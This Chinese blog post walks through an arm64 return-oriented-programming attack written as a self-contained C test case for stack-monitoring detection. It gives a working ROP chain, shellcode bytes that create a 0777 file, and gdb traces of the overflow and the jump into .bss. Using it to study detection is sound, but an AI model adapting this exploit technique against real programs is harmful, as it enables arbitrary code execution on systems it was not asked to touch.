c仿照pwn题实现arm64下的rop

代码基于一个ctf竞赛的rop用例写成，省去了用pwn进行攻击的过程，减少了工具的使用，方便以后添加到自动化测试用例。

废话不多说，先贴代码：

#include 
#include 
#include 
#include 
#include 
 
 
char * rop_chain =
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"/* padding */
"\x04\x07\x40\x00\x00\x00\x00\x00"/* pc gadget 1 */
"\x00\x00\x00\x00\x00\x00\x00\x00"/* x29 */
"\xe4\x06\x40\x00\x00\x00\x00\x00"/* x30 */
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"/* x19 x20 */
"\x50\x10\x41\x00\x00\x00\x00\x00"/*x21 = bss addr => [x21] = mprotect addr*/
"\x07\x00\x00\x00\x00\x00\x00\x00"/* x22 mprotect.argv[3] mode */
"\x00\x10\x00\x00\x00\x00\x00\x00"/* x23 mp.argc[2] size */
"\x00\x10\x41\x00\x00\x00\x00\x00"/* x24 mp.argc[1] addr */
"\x60\x10\x41\x00\x00\x00\x00\x00"
"\x60\x10\x41\x00\x00\x00\x00\x00"/* ret to shellcode */
;
char * rop_bufer = "\x24\x06\x40\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8e\xae\x8c\xd2\x6e\x8e\xae\xf2\xce\xed\xcd\xf2\x8e\xac\xec\xf2\xef\x03\x1f"
"\xaa\xee\x3f\xbf\xa9\x60\x0c\x80\x92\xe1\x73\x3f\x8b\xa2\x3d\x80\xd2\xe3\x03"
"\x1f\xaa\x28\x04\x80\xd2\x81\x46\x02\xd4\xe0\x03\x1f\xaa\xa8\x0b\x80\xd2\x81"
"\x46\x02\xd4";
char bss_atk[100];
void fake_mp(void)
{
        char * addr;
        mprotect(addr,1000,7);
}
 
int over_read(void)
{
        char buf[64];
        memcpy(buf,rop_chain,0x200);
}
int main(void)
{
/*      char *shellbuf = mmap(0,1000,3,0x21,-1,0);
        printf("%p\n",shellbuf);
        printf("name:\n");
*/
 
        memcpy(bss_atk,rop_bufer,100);
        over_read();
        return 0;
}

编译选项、环境及原理：

# 环境
uname -a
Linux ky10-desktop 4.4.131-20210319.kylin.pks.desktop-generic #kylin SMP Thu Mar 25 21:37:06 CST 2021 aarch64 aarch64 aarch64 GNU/Linux
 
/lib/aarch64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0kord11k20.5) stable release version 2.23, by Roland McGrath et al.
 
# 编译
gcc myrop.c -o myrop -g -fno-stack-protector
 
 
# 原理
# 第一个memcpy将mprotect的地址和shellcode写到bss段的数据中
# 第二个memcpy通过溢出，实现rop构造mprotect的参数并return到第一步中的地址中去执行
# mprotect通过修改bss段的权限为可执行，然后在mprotect执行完之后，return到bss的shellcode地址去执行shellcode
# shellcode会创建一个名为testnode的文件，该文件权限为0777

整个rop攻击过程按理说会触发到两个我们的监控点，下面将进行栈信息的解析：

第一次memcpy，将mprotect的地址和shellcode填充到bss段

# 第一次memcpy，将mprotect的地址和shellcode一起写到bss段，此时栈上的数据是正常的，因为这属于正常流程
   0x400684 <main+36>:  mov     x2, x0
   0x400688 <main+40>:  mov     x0, x3
   0x40068c <main+44>:  bl      0x400470 <memcpy@plt>
=> 0x400690 <main+48>:  bl      0x400634 <over_read>
 | 0x400694 <main+52>:  mov     w0, #0x0                        // #0
 | 0x400698 <main+56>:  ldp     x29, x30, [sp],#16
 | 0x40069c <main+60>:  ret
 | 0x4006a0 <__libc_csu_init>:  stp     x29, x30, [sp,#-64]!
 |->   0x400634 <over_read>:    stp     x29, x30, [sp,#-80]!
       0x400638 <over_read+4>:  mov     x29, sp
       0x40063c <over_read+8>:  adrp    x0, 0x411000
       0x400640 <over_read+12>: add     x0, x0, #0x38
                                                                                                                                                                                  JUMP is taken
No argument
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff410 --> 0x7ffffff420 --> 0x0
0008| 0x7ffffff418 --> 0x7fb7e8e920 (<__libc_start_main+224>:   bl      0x7fb7ea2fa8 <exit>)
0016| 0x7ffffff420 --> 0x0
0024| 0x7ffffff428 --> 0x4004e8 (<_start+40>:   bl      0x4004a0 <abort@plt>)
0032| 0x7ffffff430 --> 0x0
0040| 0x7ffffff438 --> 0x0
0048| 0x7ffffff440 --> 0x4004c0 (<_start>:      mov     x29, #0x0                       // #0)
0056| 0x7ffffff448 --> 0x0
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
46              over_read();
peda-arm > x/10gx bss_atk
0x411050 <bss_atk>:     0x0000000000400624      0x9090909090909090
0x411060 <bss_atk+16>:  0xf2ae8e6ed28cae8e      0xf2ecac8ef2cdedce
0x411070 <bss_atk+32>:  0xa9bf3feeaa1f03ef      0x8b3f73e192800c60
0x411080 <bss_atk+48>:  0xaa1f03e3d2803da2      0xd4024681d2800428
0x411090 <bss_atk+64>:  0xd2800ba8aa1f03e0      0x00000000d4024681
 
# 可以看到，bss_atk的第一个内存为400624，恰好是指令bl mprotect@plt的指令地址
# 后面的一些90是nop填充，没什么实际的意义，再后面的数据即 shellcode，对应于地址0x411060
peda-arm > x/10i 0x0000000000400624-0x10
   0x400614 <fake_mp+4>:        mov     x29, sp
   0x400618 <fake_mp+8>:        mov     w2, #0x7                        // #7
   0x40061c <fake_mp+12>:       mov     x1, #0x3e8                      // #1000
   0x400620 <fake_mp+16>:       ldr     x0, [x29,#24]
   0x400624 <fake_mp+20>:       bl      0x4004b0 <mprotect@plt>  # 这里，bl mprotect
   0x400628 <fake_mp+24>:       nop
   0x40062c <fake_mp+28>:       ldp     x29, x30, [sp],#32
   0x400630 <fake_mp+32>:       ret
   0x400634 <over_read>:        stp     x29, x30, [sp,#-80]!
   0x400638 <over_read+4>:      mov     x29, sp

第二次memcpy，利用栈溢出，将over_read函数调用者(即main)的栈布局进行修改

# 第二次memcpy会溢出到栈空间并将上层函数的x29和x30覆盖
    # memcpy之前，未溢出的上一层函数栈空间布局 (main的栈布局)
peda-arm > x/10gx 0x7ffffff410
0x7ffffff410:   0x0000007ffffff420      0x0000007fb7e8e920
0x7ffffff420:   0x0000000000000000      0x00000000004004e8
0x7ffffff430:   0x0000000000000000      0x0000000000000000
0x7ffffff440:   0x00000000004004c0      0x0000000000000000
0x7ffffff450:   0x0000000000000000      0x0000000000000000
X30: 0x400654 (<over_read+32>:  nop) # 此时的pc刚进入memcpy的plt：=> 0x400470 :       adrp    x16, 0x411000
# 溢出之后栈空间布局，可以看到，下一次的返回地址被修改到了400704
peda-arm > x/10gx 0x7ffffff410
0x7ffffff410:   0x6161616161616161      0x0000000000400704
0x7ffffff420:   0x0000000000000000      0x00000000004006e4
0x7ffffff430:   0x0000000000000000      0x0000000000000000
0x7ffffff440:   0x0000000000411050      0x0000000000000007
0x7ffffff450:   0x0000000000001000      0x0000000000411000
    # 查看此时的栈，发现和顶层的栈好像有问题，按理说#2 层栈应该是lib_start_main
peda-arm > bt
#0  over_read () at myrop.c:37
#1  0x0000000000400694 in main () at myrop.c:46
#2  0x0000000000400704 in __libc_csu_init ()
Backtrace stopped: Cannot access memory at address 0x6161616161616169
 
 
# 此时pc所处位置，刚好是第二次memcpy返回处
   0x400648 <over_read+20>:     add     x0, x29, #0x10
   0x40064c <over_read+24>:     mov     x2, #0x200                      // #512
   0x400650 <over_read+28>:     bl      0x400470 <memcpy@plt>
=> 0x400654 <over_read+32>:     nop
   0x400658 <over_read+36>:     ldp     x29, x30, [sp],#80
   0x40065c <over_read+40>:     ret
# 因为arm64会有一个x30寄存器专门存储堆栈，且x29=x30,，位于栈顶，故当前真正的栈为0x7ffffff3c0，其指向的下一个x29即为上一层函数的栈顶0x0000007ffffff410，也既是我们溢出的栈空间
peda-arm > x/10gx 0x7ffffff3c0
0x7ffffff3c0:   0x0000007ffffff410      0x0000000000400694
0x7ffffff3d0:   0x6161616161616161      0x6161616161616161
0x7ffffff3e0:   0x6161616161616161      0x6161616161616161
0x7ffffff3f0:   0x6161616161616161      0x6161616161616161
0x7ffffff400:   0x6161616161616161      0x6161616161616161

因为第二次memcpy将上层函数(main)的栈空间破坏了，故main返回时会回到被构造的rop流程中

# 前面已经对溢出后的main的栈空间 0x7ffffff410 进行了查看，可以知道main执行后会ret到0x0000000000400704
# 查看400704的值，很明显ret后的地址不属于应该有的指令流程，但此时还没有触发我们到监控点，故此处的bt没有任何意义
peda-arm > x/10i 0x0000000000400704-0x10
   0x4006f4 <__libc_csu_init+84>:       add     x19, x19, #0x1
   0x4006f8 <__libc_csu_init+88>:       blr     x3
   0x4006fc <__libc_csu_init+92>:       cmp     x19, x20
   0x400700 <__libc_csu_init+96>:       b.ne    0x4006e4 <__libc_csu_init+68>
   0x400704 <__libc_csu_init+100>:      ldp     x19, x20, [sp,#16]
   0x400708 <__libc_csu_init+104>:      ldp     x21, x22, [sp,#32]
   0x40070c <__libc_csu_init+108>:      ldp     x23, x24, [sp,#48]
   0x400710 <__libc_csu_init+112>:      ldp     x29, x30, [sp],#64
   0x400714 <__libc_csu_init+116>:      ret
 # 执行到rop流中的__libc_csu_init的返回地址：0x400714 ，此时x30 == 0x4006e4,发现其又ret到了另一个地址，对应汇编为如下，继续追踪
peda-arm > x/10i 0x4006e4-0x8
   0x4006dc <__libc_csu_init+60>:       cbz     x20, 0x400704 <__libc_csu_init+100>
   0x4006e0 <__libc_csu_init+64>:       mov     x19, #0x0                       // #0
   0x4006e4 <__libc_csu_init+68>:       ldr     x3, [x21,x19,lsl #3]
   0x4006e8 <__libc_csu_init+72>:       mov     x2, x22
   0x4006ec <__libc_csu_init+76>:       mov     x1, x23
   0x4006f0 <__libc_csu_init+80>:       mov     w0, w24
   0x4006f4 <__libc_csu_init+84>:       add     x19, x19, #0x1
   0x4006f8 <__libc_csu_init+88>:       blr     x3
   0x4006fc <__libc_csu_init+92>:       cmp     x19, x20
   0x400700 <__libc_csu_init+96>:       b.ne    0x4006e4 <__libc_csu_init+68>
# 在0x4006f8 <__libc_csu_init+88>:       blr     x3处执行mprotect操作，跟进mprotect触发第一次监控点，并打印堆栈
   0x7fb7f3299c:        .inst   0x00000000 ; undefined
   0x7fb7f329a0 <mprotect>:     mov     x8, #0xe2                       // #226
   0x7fb7f329a4 <mprotect+4>:   svc     #0x0
=> 0x7fb7f329a8 <mprotect+8>:   cmn     x0, #0xfff
   0x7fb7f329ac <mprotect+12>:  b.cs    0x7fb7f329b4 <mprotect+20>
   0x7fb7f329b0 <mprotect+16>:  ret
   0x7fb7f329b4 <mprotect+20>:  b       0x7fb7e8ea10
   0x7fb7f329b8:        .inst   0x00000000 ; undefined
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff460 --> 0x411060 --> 0xf2ae8e6ed28cae8e
0008| 0x7ffffff468 --> 0x411060 --> 0xf2ae8e6ed28cae8e
0016| 0x7ffffff470 --> 0x0
0024| 0x7ffffff478 --> 0x400624 (<fake_mp+20>:  bl      0x4004b0 <mprotect@plt>)
0032| 0x7ffffff480 --> 0x9090909090909090
0040| 0x7ffffff488 --> 0xf2ae8e6ed28cae8e
0048| 0x7ffffff490 --> 0xf2ecac8ef2cdedce
0056| 0x7ffffff498 --> 0xa9bf3feeaa1f03ef
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
0x0000007fb7f329a8 in mprotect () from /lib/aarch64-linux-gnu/libc.so.6
peda-arm > bt
#0  0x0000007fb7f329a8 in mprotect () from /lib/aarch64-linux-gnu/libc.so.6
#1  0x0000000000400628 in fake_mp () at myrop.c:30
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
# 发现此时的栈只有两层，且顶层为bl mprotect指令所在的函数指令的下一行地址，即返回地址，如果按照bl+ret的逻辑判断，这个栈是正常的(这也符合前提静态规则匹配通过)
 
# 再下一层的ret地址是bss段shellcode的所在的地址了
peda-arm > x/10gx $sp
0x7ffffff460:   0x0000000000411060      0x0000000000411060
0x7ffffff470:   0x0000000000000000      0x0000000000400624
0x7ffffff480:   0x9090909090909090      0xf2ae8e6ed28cae8e
0x7ffffff490:   0xf2ecac8ef2cdedce      0xa9bf3feeaa1f03ef
0x7ffffff4a0:   0x8b3f73e192800c60      0xaa1f03e3d2803da2
peda-arm > p $x30
$6 = 0x400628 # fake_mp中的地址
peda-arm > x/10i 0x400628-0x10
   0x400618 <fake_mp+8>:        mov     w2, #0x7                        // #7
   0x40061c <fake_mp+12>:       mov     x1, #0x3e8                      // #1000
   0x400620 <fake_mp+16>:       ldr     x0, [x29,#24]
   0x400624 <fake_mp+20>:       bl      0x4004b0 <mprotect@plt>
   0x400628 <fake_mp+24>:       nop
   0x40062c <fake_mp+28>:       ldp     x29, x30, [sp],#32
   0x400630 <fake_mp+32>:       ret
   0x400634 <over_read>:        stp     x29, x30, [sp,#-80]!
   0x400638 <over_read+4>:      mov     x29, sp
   0x40063c <over_read+8>:      adrp    x0, 0x411000

mportect执行完并返回后，会ret到bss的shellcode中执行

# 进入shellcode后，我们执行到svc的返回地址，并观察堆栈的情况
[----------------------------------------------------------------------------------------------CODE---------------------------------------------------------------------------------------------]
   0x411084 <bss_atk+52>:       mov     x3, xzr
   0x411088 <bss_atk+56>:       mov     x8, #0x21                       // #33
   0x41108c <bss_atk+60>:       svc     #0x1234
=> 0x411090 <bss_atk+64>:       mov     x0, xzr
   0x411094 <bss_atk+68>:       mov     x8, #0x5d                       // #93
   0x411098 <bss_atk+72>:       svc     #0x1234
   0x41109c <bss_atk+76>:       .inst   0x00000000 ; undefined
   0x4110a0 <bss_atk+80>:       .inst   0x00000000 ; undefined
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff470 ("testnode")
0008| 0x7ffffff478 --> 0x0
0016| 0x7ffffff480 --> 0x9090909090909090
0024| 0x7ffffff488 --> 0xf2ae8e6ed28cae8e
0032| 0x7ffffff490 --> 0xf2ecac8ef2cdedce
0040| 0x7ffffff498 --> 0xa9bf3feeaa1f03ef
0048| 0x7ffffff4a0 --> 0x8b3f73e192800c60
0056| 0x7ffffff4a8 --> 0xaa1f03e3d2803da2
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
0x0000000000411090 in bss_atk ()
peda-arm > bt
#0  0x0000000000411090 in bss_atk ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
# 此时svc执行完之后，返回到r3，可以看到，只有当前的一层栈
 
 
peda-arm > x/10gx $sp
0x7ffffff470:   0x65646f6e74736574      0x0000000000000000
0x7ffffff480:   0x9090909090909090      0xf2ae8e6ed28cae8e
0x7ffffff490:   0xf2ecac8ef2cdedce      0xa9bf3feeaa1f03ef
0x7ffffff4a0:   0x8b3f73e192800c60      0xaa1f03e3d2803da2
0x7ffffff4b0:   0xd4024681d2800428      0xd2800ba8aa1f03e0
# sp所指向的地址也不对了